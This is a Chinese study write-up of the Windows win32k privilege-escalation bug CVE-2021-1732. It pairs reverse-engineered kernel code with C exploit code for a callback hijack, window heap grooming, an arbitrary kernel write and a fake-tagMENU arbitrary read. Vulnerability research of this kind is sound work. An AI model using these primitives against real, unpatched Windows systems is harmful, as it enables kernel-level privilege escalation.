CVE-2021-1732提權漏洞學習筆記
一、前言
1.漏洞描述
win32kfull!xxxCreateWindowEx函數創建窗口的過程中,當創建的窗口對象存在擴展內存的時候,會通過函數KeUserModeCallback返回用戶層,申請需要的內存。返回到內核繼續執行的時候,會將用戶層函數中指定的地址保存到窗口對象偏移0x128的pExtraBytes成員中。當用戶層對窗口調用SetWindowLongPtr函數的時候,函數會將pExtraBytes用于指定要寫入的目標地址。
通過劫持用戶層函數的執行,可以讓SetWindowLongPtr函數對不合法地址進行寫入會產生BSOD,也可以通過計算來擴大其他窗口的cbwndExtra,從而實現任意地址讀寫,最終實現提權。
2.實驗環境
- 操作系統:Win10 x64 1909 專業版
- 編譯器:Visual Studio 2017
- 調試器:IDA Pro, WinDbg
二、漏洞分析
1.關鍵結構體成員
新的Win10版本修改了比較多的win32k*中的結構體,并且沒有導出。所以以下部分成員只能是通過推測得出,首先是保存線程信息的tagTHREADINFO結構體,其偏移0x1C0保存的是tagDESKTOP結構體:
1: kd> dt tagTHREADINFO +0x1C0 rpdesk : Ptr64 tagDESKTOP
tagDESKTOP偏移0x80處保存的是pheapDesktop,該成員保存的是桌面堆的基址:
0: kd> dt tagDESKTOP +0x080 pheapDesktop : Ptr64 tagWIN32HEAP
tagWND有了比較大的變化,窗口的擴展內存不在直接跟在tagWND之后,當偏移0xE8的Flags不包含0x800標記的時候,擴展內存的地址直接保存在0x128的pExtraBytes中,當Flags包含0x800標記的時候,擴展內存存在于桌面堆中,與桌面堆基址的偏移保存在了0x128的pExtraBytes中。偏移0x28指向了tagWDNK結構體,偏移0x8和0x30處保存了0x28所指向的地址于桌面堆地址的偏移:
2: kd> dt tagWND +0x000 h : Ptr64 Void +0x008 DesktopOffset : Uint8B +0x010 pti : Ptr64 tagTHREADINFO +0x018 rpdesk : Ptr64 tagDESKTOP +0x020 pSelf : Ptr64 tagWND +0x028 ptagWNDK : Ptr64 tagWNDK +0x030 DesktopOffset : Uint8B +0x058 Left : Uint4B +0x05C Right : Uint4B +0x098 spMenu : Ptr64 tagMENU +0x0C8 cbwndExtra : UInt4B +0x0E8 Flags : UInt4B +0x128 pExtraBytes : Uint8B
偏移0xA8指向的tagMENU,這里只需要知道tagMENU結構體偏移0x98的pSelf指向的是tagMENU本身,而0x28的tagWDNK結構體如下:
struct tagWNDK{ ULONG64 hWnd; //+0x00 ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相對桌面堆基址偏移 ULONG64 state; //+0x10 DWORD dwExStyle; //+0x18 DWORD dwStyle; //+0x1C BYTE gap[0x38]; DWORD rectBar_Left; //0x58 DWORD rectBar_Top; //0x5C BYTE gap1[0x68]; ULONG64 cbWndExtra; //+0xC8 窗口擴展內存的大小 BYTE gap2[0x18]; DWORD dwExtraFlag; //+0xE8 決定SetWindowLong尋址模式 BYTE gap3[0x10]; //+0xEC DWORD cbWndServerExtra; //+0xFC BYTE gap5[0x28]; ULONG64 pExtraBytes; //+0x128 模式1:內核偏移量 模式2:用戶態指針};
2.HMAllocObject函數分析
該函數定義如下,當第三個參數bType指定為TYPE_WINDOW(0x1)的時候,就會用于創建窗口對象:
PVOID HMAllocObject(PTHREADINFO ptiOwner, PDESKTOP pdeskSrc, BYTE bType, DWORD size);
函數的主要代碼如下:
unsigned __int64 __fastcall HMAllocObject(__int64 ptiOwner, __int64 pdeskSrc, unsigned __int8 bType, unsigned int size){ v9 = *((_WORD *)&gahti + 0xC * Type + 6);
if ( (v9 & 0x10) != 0 && pdeskSrc ) { if ( (int)IsDesktopAllocSupported() < 0 ) goto LABEL_67; tagWnd = (unsigned __int64)HMAllocateUserOrIsolatedType(v5, v9, Type); // 創建tagWND對象 if ( !tagWnd ) goto LABEL_67; ptagWNDk = DesktopAlloc(pdeskSrc, *(unsigned int *)((char *)&gahti + v38 + 0x10), ((unsigned __int8)Type << 16) | 5u); // 創建tagWNDK對象 *(_QWORD *)(tagWnd + 0x28) = ptagWNDk; // tagWND->ptagWNDK賦值為創建的tagWNDK對象 if ( !ptagWNDk ) { HMFreeUserOrIsolatedType(v9, Type, (void *)tagWnd); goto LABEL_67; } LockObjectAssignment((void **)(tagWnd + 0x18), (void *)pdeskSrc); ptagWNDk = *(_QWORD *)(tagWnd + 0x28); *(_QWORD *)(tagWnd + 0x20) = tagWnd; // 為tagWND->pSelf賦值 *(_QWORD *)(tagWnd + 0x30) = ptagWNDk - *(_QWORD *)(pdeskSrc + 0x80); // 將ptagWNDK與pheapDesktop的偏移賦值給tagWND偏移0x30處 }
hwnd = (int)v15 | (unsigned __int64)(*(unsigned __int16 *)((char *)qword_1C0215758 + v15 * (unsigned int)dword_1C0215760 + 0x1A) << 16); // 獲取窗口句柄 *(_QWORD *)tagWnd = hwnd; // 為tagWND->hWnd賦值 if ( *(_DWORD *)((char *)&gahti + v38 + 0x10) ) { ptagWNDk = *(_QWORD *)(tagWnd + 0x28); *(_QWORD *)ptagWNDk = hwnd; // 為ptagWNDK->hWnd賦值 *(_QWORD *)(ptagWNDk + 8) = *(_QWORD *)(tagWnd + 0x30); // 將ptagWNDK與pheapDesktop的偏移賦值給ptagWNDK偏移0x8處 }
return tagWND;}
3.xxxCreateWindowEx函數分析
從gptiCurrent中獲取rpdesk成員,之后調用HMAllocateObject函數來申請tagWND對象:
.text:00000001C003BCCB mov rax, cs:__imp_gptiCurrent.text:00000001C003BCD2 mov r14, [rax].text:00000001C003BCD5 mov [rsp+4E8h+var_488], r14.text:00000001C003BCDA mov [rsp+4E8h+var_370], r14.text:00000001C003C1E2 mov r15, [rsp+4E8h+var_370].text:00000001C003BDDC mov rax, [r14+1C0h] ; rax = tagTHREADINFO->rpdesk.text:00000001C003BDE3 mov [rsp+4E8h+rpdesk], rax // 省略部分代碼.text:00000001C003C198 xor ebx, ebx.text:00000001C003C1AC lea esi, [rbx+1] .text:00000001C003C347 mov r9d, 150h ; r9d = 0x150.text:00000001C003C34D mov r8b, sil ; r8d = 1 .text:00000001C003C350 mov rdx, [rsp+4E8h+pdesk] ; rdx = rpdesk.text:00000001C003C358 mov rcx, r15 ; rcx = ptiCurrent.text:00000001C003C35B call cs:__imp_HMAllocObject.text:00000001C003C362 nop dword ptr [rax+rax+00h].text:00000001C003C367 mov r15, rax ; 將tagWND賦給r15.text:00000001C003C36A mov [rsp+4E8h+var_tagWND], rax.text:00000001C003C372 test rax, rax.text:00000001C003C375 jnz short loc_1C003C3BF
調用tagWND::RedirectedFieldcbwndExtra<int>::operator!=判斷cbWndExtra來判斷是否存在擴展內存,存在的話就會調用xxxClientAlloWindowClassExtraBytes來創建擴展內存:
.text:00000001C003CDDB mov dword ptr [rsp+4E8h+var_3F8], edi ; edi=0.text:00000001C003CDE2 lea rcx, [r15+0B1h].text:00000001C003CDE9 lea rdx, [rsp+4E8h+var_3F8].text:00000001C003CDF1 call ??9?$RedirectedFieldcbwndExtra@H@tagWND@@QEBAEAEBH@Z ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &).text:00000001C003CDF6 test al, al.text:00000001C003CDF8 jz short loc_1C003CE44.text:00000001C003CDFA mov rax, [r15+28h] ; rax = tagWND->ptagWNDK.text:00000001C003CDFE mov ecx, [rax+0C8h] ; rcx = tagWNDK->cbwndExtra.text:00000001C003CE04 call xxxClientAllocWindowClassExtraBytes.text:00000001C003CE09 mov rcx, rax ; 申請內存地址賦給ecx.text:00000001C003CE0C mov rax, [r15+28h] ; rax = tagWND->ptagWNDK.text:00000001C003CE10 mov [rax+128h], rcx ; 申請內存地址賦給tagWNDK->pExtraBytes
4.xxxClientAllocWindowClassExtraBytes函數分析
xxxClientAllocWindowClassExtraBytes函數的主要代碼如下,函數會調用KeUserModeCallback來發起用戶層的回調來申請內存。從用戶層返回之后,函數會對輸出長度及輸出地址進行判斷,通過判斷后,就會將申請的內存地址返回:
const void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length){ LODWORD(pInputBuffer) = Length; ret = KeUserModeCallback(0x7Bi64, &pInputBuffer, 4i64, &pOutputBuffer, &nOutLen); if ( ret < 0 || (_DWORD)nOutLen != 0x18 ) // 輸出長度等于0x18 return 0i64; v3 = pOutputBuffer; if ( pOutputBuffer + 1 < pOutputBuffer || (unsigned __int64)(pOutputBuffer + 1) > *(_QWORD *)MmUserProbeAddress ) v3 = *(__int64 **)MmUserProbeAddress; pAllocBuffer = (const void *)*v3; ProbeForRead(pAllocBuffer, size, v5 != 0 ? 1 : 4); return pAllocBuffer;}
用戶層函數的實現則下所示,函數通過RtlAllocateHeap來申請需要大小的內存,之后將其放入Result[0]中,之后會通過NtCallbackReturn函數將申請的內存通過Result數組來申請的內存返回到內核層,第二個參數用來指定返回的數據的長度:

5.xxxSetWindowLongPtr函數分析
xxxSetWindowLongPtr函數用來對窗口的擴展區域進行寫入,當nIndex小于0的時候,函數會調用xxxSetWindowData來寫入值:
.text:00000001C008D383 test edi, edi ; nIndex >= 0則跳轉.text:00000001C008D385 jns loc_1C008D487.text:00000001C008D38B mov r9d, r12d.text:00000001C008D38E mov r8, r15.text:00000001C008D391 mov edx, edi.text:00000001C008D393 mov rcx, rsi ; struct tagWND *.text:00000001C008D396 call xxxSetWindowData.text:00000001C008D39B mov rdi, rax
如果nIndex大于等于0,函數就會判斷nIndex + 8是否大于cbwndExtra,如果大于則會設置錯誤,之后退出函數:
.text:00000001C008D487 loc_1C008D487: .text:00000001C008D487 mov r8, [rsi+28h] ; r8 = tagWND->ptagWNDK.text:00000001C008D48B mov ecx, [r8+0C8h] ; ecx = ptagWNDK->cbwndExtra.text:00000001C008D492 mov r9d, [r8+0FCh] ; 該偏移的成員為知,但是值為0.text:00000001C008D499 add ecx, r9d.text:00000001C008D49C mov eax, edi ; eax = nIndex.text:00000001C008D49E add rax, 8.text:00000001C008D4A2 cmp rax, rcx.text:00000001C008D4A5 ja loc_1C008D696 ; 如果nIndex + 8 > cbwndExtra,則跳轉.text:00000001C008D696 loc_1C008D696: .text:00000001C008D696 mov ecx, 585h.text:00000001C008D69B call UserSetLastError.text:00000001C008D6A0 test bl, bl.text:00000001C008D6A2 jnz loc_1C01855D0.text:00000001C008D6A8 xor eax, eax.text:00000001C008D6AA jmp loc_1C008D3A9
如果nIndex + 8 <= cbwndExtra的時候,函數會判斷窗口對象是否帶有0x800標記,如果有0x800標記,則會將寄存器r8會賦值為nIndex + pExtraBytes:
.text:00000001C008D4E2 test dword ptr [r8+0E8h], 800h ; ptagWNDK->Flags是否包含0x800標記.text:00000001C008D4ED jnz loc_1C018566C.text:00000001C008D4F3 mov rax, [r8+128h] ; rax = ptagWNDK->pExtraBytes.text:00000001C008D4FA movsxd r8, edi ; r8 = nIndex.text:00000001C008D4FD add r8, rax ; r8 = nIndex + pExtraBytes
如果不帶有0x800標記,就會將寄存器r8賦值為pheapDesktop + nIndex + pExtraBytes:
.text:00000001C018566C loc_1C018566C: .text:00000001C018566C mov rdx, [r8+128h] ; rdx = ptagWNDK->pExtraBytes.text:00000001C0185673 mov rax, [rsi+18h] ; rax = tagWND->rpdesk.text:00000001C0185677 movsxd rcx, edi ; rcx = nIndex.text:00000001C018567A mov r8, [rax+80h] ; r8 = tagDESKTOP->pheapDesktop.text:00000001C0185681 add r8, rcx ; r8 = pheapDesktop + nIndex.text:00000001C0185684 add r8, rdx ; r8 = pheapDesktop + nIndex + pExtraBytes.text:00000001C0185687 jmp loc_1C008D500
無論是否帶有0x800標記,對r8賦值完之后,函數接下來就會將r8所指向地址中的內容保存到局部變量中,在將dwNewLong賦值到r8所指的地址:
.text:00000001C008D500 loc_1C008D500: .text:00000001C008D500 mov rdi, [r8].text:00000001C008D503 mov [rsp+88h+var_oldNew], rdi.text:00000001C008D508 mov [r8], r15 ; 將dwNewLong賦值到寄存器所指向的地址.text:00000001C008D50B jmp loc_1C008D39E
三、漏洞驗證
1.修改pExtraBytes
由于xxxCreateWindowEx函數沒有對用戶層通過NtCallbackReturn函數指定的地址進行合法性驗證,就將其賦值到窗口對象的pExtraBytes中。而對相應窗口調用SetWindowLongPtr的時候,會直接將pExtraBytes用于來指定讀寫地址。所以,通過對用戶層的xxxClientAllocWindowClassExtraBytes進行劫持,可以將pExtraBytes指定為特定的值來觸發BSOD。
為了可以在指定的窗口來修改函數,首先創建觸發漏洞窗口的時候,擴展內存的大小,即cbwndExtra要指定為一個特定的值:
BOOL InitTriggerWnd(){ BOOL bRet = TRUE;
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL); if (!handle) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; }
PCHAR pClassName = "Trigger"; WNDCLASSEX wndClass = { 0 };
wndClass.cbSize = sizeof(wndClass); wndClass.lpfnWndProc = DefWindowProc; wndClass.style = CS_VREDRAW | CS_HREDRAW; wndClass.cbWndExtra = g_dwWndExtra; // 指定特定的大小 wndClass.hInstance = handle; wndClass.lpszClassName = pClassName;
if (!RegisterClassEx(&wndClass)) { bRet = FALSE; ShowError("RegisterClassEx", GetLastError()); goto exit; }
g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE, pClassName, NULL, WS_DISABLED, 0, 0, 0, 0, NULL, NULL, handle, NULL);
if (!g_hTriggerWnd) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; }
exit: return bRet;}
接下來可以在劫持的函數中,通過要申請內存的大小判斷是否為目標窗口:
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0){ if (*(PDWORD)arg0 == g_dwWndExtra) { BYTE bRes[0x18] = { 0 }; // 設置tagWND->pExtraBytes *(PULONG64)bRes = 0x100; return fnNtCallbackReturn(bRes, sizeof(bRes), 0); }
return g_orgClientAllocWindowExtraBytes(arg0);}
此時可以在xxxSetWindowLongPtr中關鍵位置下斷點,因為創建的窗口對象的Flags不會帶有0x800標記,所以函數會直接取出pExtraBytes用于讀寫,此時的地址為指定的不合法的0x100。按道理,繼續執行會出現BSOD,然而事實上繼續運行,函數會直接退出(應該有什么處理機制)。

2.xxxConsoleControl函數分析
xxxSetWindowLongPtr會通過tagWND->Flags來選擇不同方式來指定用于讀寫的地址,要在Flags中加入0x800標記,可以通過xxxConsoleControl函數來實現,該函數定義如下:
__int64 __fastcall xxxConsoleControl(int nIndex, struct _CONSOLE_PROCESS_INFO *pInfo, int nInLength);
要到達修改標記的代碼,需要參數nIndex等于6,參數nInLength等于0x10。滿足這兩條之后,xxxConsoleControl函數會從參數pInfo中取出窗口的句柄,通過ValidateHwnd來獲取相應的窗口對象:
.text:00000001C00E0571 mov edi, r8d ; edi = nLength.text:00000001C00E0580 test ecx, ecx.text:00000001C00E0582 jz loc_1C01A3F71.text:00000001C00E0588 sub ecx, 1.text:00000001C00E058B jz loc_1C00E0671.text:00000001C00E0591 sub ecx, 1.text:00000001C00E0594 jz loc_1C01A3F5B.text:00000001C00E059A sub ecx, 1.text:00000001C00E059D jz loc_1C00E0686.text:00000001C00E05A3 sub ecx, 1.text:00000001C00E05A6 jz loc_1C01A3F30.text:00000001C00E05AC sub ecx, 1 ; nIndex - 5 != 0.text:00000001C00E05AF jnz loc_1C00E06A3 // 省略部分代碼.text:00000001C00E06A3 loc_1C00E06A3: .text:00000001C00E06A3 cmp ecx, 1 ; nIndex = 6不跳轉.text:00000001C00E06A6 jnz loc_1C01A3F12.text:00000001C00E06AC cmp edi, 10h ; nInLength == 0x10不跳轉.text:00000001C00E06AF jnz loc_1C01A3F71.text:00000001C00E06B5 mov rcx, [rdx] ; rcx = [pInfo].text:00000001C00E06B8 call cs:__imp_ValidateHwnd.text:00000001C00E06BF nop dword ptr [rax+rax+00h].text:00000001C00E06C4 mov rdi, rax ; rdi = tagWND
判斷Flags是否帶有0x800標記:
.text:00000001C00E0772 test dword ptr [rcx+0E8h], 800h ; tagWND->Flags是否包含0x800.text:00000001C00E077C jz short loc_1C00E07BE
因為創建的窗口不帶有0x800標記,函數就會調用DesktopAlloc來申請一塊新的內存:
.text:00000001C00E07BE loc_1C00E07BE: .text:00000001C00E07BE mov edx, [rcx+0C8h] ; edx = tagWND->cbwndExtra.text:00000001C00E07C4 xor r8d, r8d.text:00000001C00E07C7 mov rcx, [rdi+18h] ; rcx = tagWND->rpdesk.text:00000001C00E07CB call DesktopAlloc.text:00000001C00E07D0 mov r14, rax ; r14 = 申請的內存地址.text:00000001C00E07D3 mov [rsp+0B8h+var_heap], rax ; 保存到局部變量中.text:00000001C00E07D8 test rax, rax.text:00000001C00E07DB jz loc_1C01A3F1C
接下來將新創建的內存地址減去pheapDesktop得到的偏移賦值到ptagWNDK->pExtraBytes中:
.text:00000001C00E0876 loc_1C00E0876: .text:00000001C00E0876 mov rax, [rdi+18h] ; rax = tagWND->rpdesk.text:00000001C00E087A mov rcx, r14 ; rcx等于剛申請的內存.text:00000001C00E087D sub rcx, [rax+80h] ; rcx = 新申請的內存減去rpdesk->pheapDesktop.text:00000001C00E0884 mov rax, [r15] ; rax = tagWND->ptagWNDK.text:00000001C00E0887 mov [rax+128h], rcx ; ptagWNDK->pExtraBytes = rcx.text:00000001C00E088E jmp loc_1C00E0790
之后就是在Flags中增加0x800標記:
.text:00000001C00E07A2 loc_1C00E07A2: .text:00000001C00E07A2 mov rax, [r15] ; rax = tagWND->ptagWNDK.text:00000001C00E07A5 bts dword ptr [rax+0E8h], 0Bh ; 將ptagWNDK->Flags第0xB位設為1,即在Flags中增加0x800標記
3.漏洞觸發
想要成功觸發漏洞,需要通過xxxConsoleControl函數在Flags中增加0x800標記,但是調用xxxConsoleControl的時候,需要傳入窗口的句柄,而在用戶層的xxxClientAllocWindowClassExtraBytes執行過程中,用戶層的CreateWindow函數還未返回,因為還未拿到窗口的句柄。但,在xxxCreateWindowEx函數在調用xxxClientAllocWindowClassExtraBytes之前,已經將窗口句柄賦值到窗口對象偏移0x0處。
因此,可以首先創建大量的窗口,然后釋放掉其中的部分窗口,這樣之后創建觸發漏洞的窗口占用的內存就會占用到這些釋放的窗口。
BOOL Init_CVE_2021_1732(){ BOOL bRet = TRUE; DWORD i = 0;
lHMValidateHandle HMValidateHandle = NULL;
HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle(); if (!HMValidateHandle) { bRet = FALSE; goto exit; }
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL); if (!handle) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; }
WNDCLASSEX wndClass = { 0 }; PCHAR pClassName = "leak";
wndClass.cbWndExtra = 0x20; wndClass.cbSize = sizeof(wndClass); wndClass.style = CS_VREDRAW | CS_HREDRAW; wndClass.hInstance = handle; wndClass.lpfnWndProc = DefWindowProc; wndClass.lpszClassName = pClassName;
if (!RegisterClassEx(&wndClass)) { bRet = FALSE; ShowError("RegisterClassEx", GetLastError()); goto exit; }
HWND hWnd = NULL;
for (i = 0; i < g_dwWinNum; i++) { hWnd = CreateWindowEx(WS_EX_NOACTIVATE, pClassName, NULL, WS_DISABLED, 0, 0, 0, 0, NULL, NULL, handle, NULL); if (!hWnd) continue;
g_hWnd[i] = hWnd; g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW); }
// 釋放部分窗口,之后創建觸發漏洞的窗口會占用釋放的這些窗口中的其中一個 for (i = 2; i < g_dwWinNum; i += 2) { if (g_hWnd[i]) { DestroyWindow(g_hWnd[i]); } }
exit: return bRet;}
此時,就可以從釋放的窗口中搜索觸發漏洞的窗口,之后就可以修改窗口標記,在返回指定的地址:
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0){ if (*(PDWORD)arg0 == g_dwWndExtra) { HWND hTriggerWnd = NULL; DWORD i = 0;
for (i = 2; i < g_dwWinNum; i += 2) { if (g_hWnd[i]) { DWORD cbWndExtra = *(PDWORD)(g_pWnd[i] + g_cbWndExtra_offset); if (cbWndExtra == g_dwWndExtra) { hTriggerWnd = (HWND)*(PULONG64)g_pWnd[i]; break; } } }
if (hTriggerWnd) {
BYTE bInfo[0x10] = { 0 };
// tagWND->Flag |= 0x800 *(HWND *)bInfo = hTriggerWnd; fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
BYTE bRes[0x18] = { 0 };
// 設置tagWND->pExtraBytes *(PULONG64)bRes = 0xFFFFFF00; return fnNtCallbackReturn(bRes, sizeof(bRes), 0); } else printf("do not find hTriggerWnd\n"); }
return g_orgClientAllocWindowExtraBytes(arg0);}
再次在xxxSetWindowLongPtr處下斷點,此時窗口的Flags帶有0x800標記,所以會通過不同的方法來計算要讀寫的內存地址,該地址是無效的:

繼續運行就會產生BSOD錯誤:

四、漏洞利用
1.任意地址寫
根據上面的內容可以得出以下的內容:
tagWNDK + 8處保存的是ptagWNDK - pheapDesktop。
通過xxxConsoleControl增加0x800標記的時候,會將窗口的pExtraBytes修改為新申請的內存地址減去pheapDesktop的值。
當Flags包含0x800標記,SetWindowLongPtr要讀寫的地址是pheapDesktop + nIndex + pExtraBytes的值。
當Flags不包含0x800標記,SetWindowLongPtr要讀寫的地址是pExtraBytes + nIndex。
pheapDesktop的值是相同的,且現在可以修改pExtraBytes以及為Flags可以增加0x800標記。此時,實現任意地址寫的思路如下:
1、創建兩個窗口,分別為tagWND0,tagWND1。
2、在tagWND0中增加0x800標記,這樣tagWND0->pExtraBytes中保存的就是與pheapDesktop的偏移。
3、在用戶層的xxxClientAllocWindowClassExtraBytes函數中,在調用NtCallbackReturn函數返回的時候,將地址修改為tagWND0 + 8處保存的偏移,這樣對觸發漏洞的窗口調用SetWindowLongPtr,就可以直接擴大tagWND0中的cbwndExtra。
4、因為tagWND0的pExtraBytes指向的是pheapDesktop的偏移,而tagWNDK1也保存在相對于pheapDesktop的偏移,而該值可以通過tagWND1 + 8處來獲取,這樣可以計算出tagWND0->pExtraBytes與tagWND1 + 8的偏移。又因為tagWND0的cbwndExtra被擴大了,這樣就可以通過tagWND0直接修改tagWND1的pExtraBytes。
5、因為tagWND1沒有具有0x800標記,所以直接對tagWND1調用SetWindowLongPtr會直接對pExtraBytes指向的地址進行寫入,由此就實現任意地址寫。
在之前釋放窗口的時候,是從下標2開始釋放窗口,就是因為要將創建的第一個和第二個窗口作為tagWND0和tagWND1用于之后利用。此時,在循環創建窗口的時候,需要對創建的第0個窗口加入0x800標記,且記錄需要用到的偏移:
if (i == 0) { g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8); BYTE bInfo[0x10] = { 0 }; *(HWND *)bInfo = g_hWnd[0]; fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset); }
釋放窗口以后,就可以計算第4步需要的偏移:
g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);
if (g_qwWndOffset > g_qwKernelHeapOffset1){ bRet = FALSE; printf("g_pWnd[0] offset is invalid!\n"); goto exit;}
g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;
此時對于觸發漏洞的窗口,需要將返回值修改為tagWDN0 + 8的保存的值:
if (hTriggerWnd) { BYTE bInfo[0x10] = { 0 };
// tagWND->Flag |= 0x800 *(HWND *)bInfo = hTriggerWnd; fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
BYTE bRes[0x18] = { 0 };
// 設置tagWND->pExtraBytes *(PULONG64)bRes = g_qwKernelHeapOffset0; return fnNtCallbackReturn(bRes, sizeof(bRes), 0); }
當創建完用于觸發漏洞的窗口之后,可以通過函數擴大tagWND0的cbwndExtra:
// 將g_hWnd[0]的cbwndExtra設為0xFFFFFFFFif (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset, 0xFFFFFFFF) && GetLastError() != 0){ bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit;}
現在就可以通過tagWND0修改tagWND1的pExtraBytes來實現任意地址寫入:
BOOL WriteData_CVE_2021_1732(PVOID pTarAddress, QWORD qwValue){ BOOL bRet = TRUE;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + g_ExtraBytes_offset, (QWORD)pTarAddress) && GetLastError() != 0) { bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit; }
if (!SetWindowLongPtr(g_hWnd[1], 0, qwValue) && GetLastError() != 0) { bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit; }
exit: return bRet;}
2.任意地址讀
任意地址的讀通過GetMenuBarInfo函數來實現,該函數定義如下,其中第三個參數的pmbi->rcBar用來記錄讀取到的值:
BOOLWINAPIGetMenuBarInfo( _In_ HWND hwnd, _In_ LONG idObject, _In_ LONG idItem, _Inout_ PMENUBARINFO pmbi);
typedef struct tagMENUBARINFO { DWORD cbSize; RECT rcBar; HMENU hMenu; HWND hwndMenu; BOOL fBarFocused:1; BOOL fFocused:1;} MENUBARINFO, *PMENUBARINFO;
typedef struct _RECT { LONG left; LONG top; LONG right; LONG bottom; } RECT, *PRECT;
GetMenuBarInfo對應的內核函數是xxxGetMenuBarInfo函數,該函數的主要代碼如下,先有三處驗證,驗證通過之后,會將*(spMenu + 0x58)中保存的地址用于讀取相應值,在保存于pmbi的rcBar中:
__int64 __fastcall xxxGetMenuBarInfo(ULONG_PTR pwnd, __int64 idObject, __int64 idItem, __int64 pmbi){ switch ( idObject ) { case -3: // idObject == -3,第一處驗證 if ( (*(_BYTE *)(spMenu + 0x1F) & 0x40) != 0 ) goto LABEL_9; spMenu = *(_QWORD *)(pwnd + 0xA8); // tagWND->spMenu不存在則返回,第二處驗證 if ( !spMenu ) goto LABEL_9; SmartObjStackRefBase<tagMENU>::operator=(&kspMenu, spMenu); // kspMenu = spMenu->spSelf
if ( *(_DWORD *)(*kspMenu + 0x40) && *(_DWORD *)(*kspMenu + 0x44)) // *(spMenu + 0x40) != 0 && *(spMenu + 0x44) != 0,第三處驗證 { if ( (_DWORD)IdItem ) // idItem == 1 { ptagWNDk = *(_QWORD *)(pwnd + 0x28); num_0x60 = 0x60 * IdItem; rgItemListEntry = *(_QWORD *)(*kspMenu + 0x58); tarAddr = *(_QWORD *)(0x60 * IdItem + rgItemListEntry - 0x60);// tarAddr = *(spMenu + 0x58) if ( (*(_BYTE *)(ptagWNDk + 0x1A) & 0x40) != 0 ) { v49 = *(_DWORD *)(ptagWNDk + 0x60) - *(_DWORD *)(tarAddr + 0x40); *(_DWORD *)(pmbi + 0xC) = v49; *(_DWORD *)(pmbi + 4) = v49 - *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64); } else // 這里會走else分支 { value = *(_DWORD *)(tarAddr + 0x40) + *(_DWORD *)(ptagWNDk + 0x58);// value = *(*(spMenu + 0x58) + 0x40) + ptagWNDK->Left *(_DWORD *)(pmbi + 4) = value; // 為pmbi->rcBar->left賦值 *(_DWORD *)(pmbi + 0xC) = value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64); } Value = *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x44i64) + *(_DWORD *)(*(_QWORD *)(pwnd + 0x28) + 0x5Ci64);// Value = *(*(spMenu + 0x58) + 0x44) + ptagWNDK->Right *(_DWORD *)(pmbi + 8) = Value; // 為pmbi->rcBar->top賦值 v44 = Value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x4Ci64); } } }}
第一處驗證,只需調用參數時指定參數idObject為-3就行。第二處驗證,在創建窗口的時候,對于用于利用的窗口需要設置spMenu:
if (i == 1){ // 從第1個tagWND開始將帶有tagMENU對象 hMenu = CreateMenu(); hHelpMenu = CreateMenu(); if (!hMenu || !hHelpMenu) { bRet = FALSE; ShowError("CreateMenu", GetLastError()); goto exit; }
if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) && !AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"))) { bRet = FALSE; ShowError("AppendMenu", GetLastError()); goto exit; }}
偽造tagMENU結構體,偽造的時候,要繞過第三處驗證:
// 偽造tagMENUHANDLE hProcHeap = NULL;
hProcHeap = GetProcessHeap();if (!hProcHeap){ bRet = FALSE; ShowError("GetProcessHeap", GetLastError()); goto exit;}
DWORD dwHeapFlags = HEAP_ZERO_MEMORY;g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);if (!g_qwMenu){ bRet = FALSE; ShowError("GetProcessHeap", GetLastError()); goto exit;}
*(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);*(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;
*(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);*(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;*(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);*(PDWORD)(g_qwMenu + 0x40) = 1;*(PDWORD)(g_qwMenu + 0x44) = 2;
把偽造的tagMENU設置到tagWND1中:
// g_hWnd[1]的style加入WS_CHILD DWORD dwStyleOffset = 0x18;QWORD qwStyle = *(PQWORD)(g_pWnd[1] + dwStyleOffset);
qwStyle |= 0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) && GetLastError() != 0){ bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit;}
// 將偽造的tagMENU設置到g_hWnd[1]中QWORD qwSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, g_qwMenu);
if (!qwSPMenu && GetLastError() != 0){ bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit;}
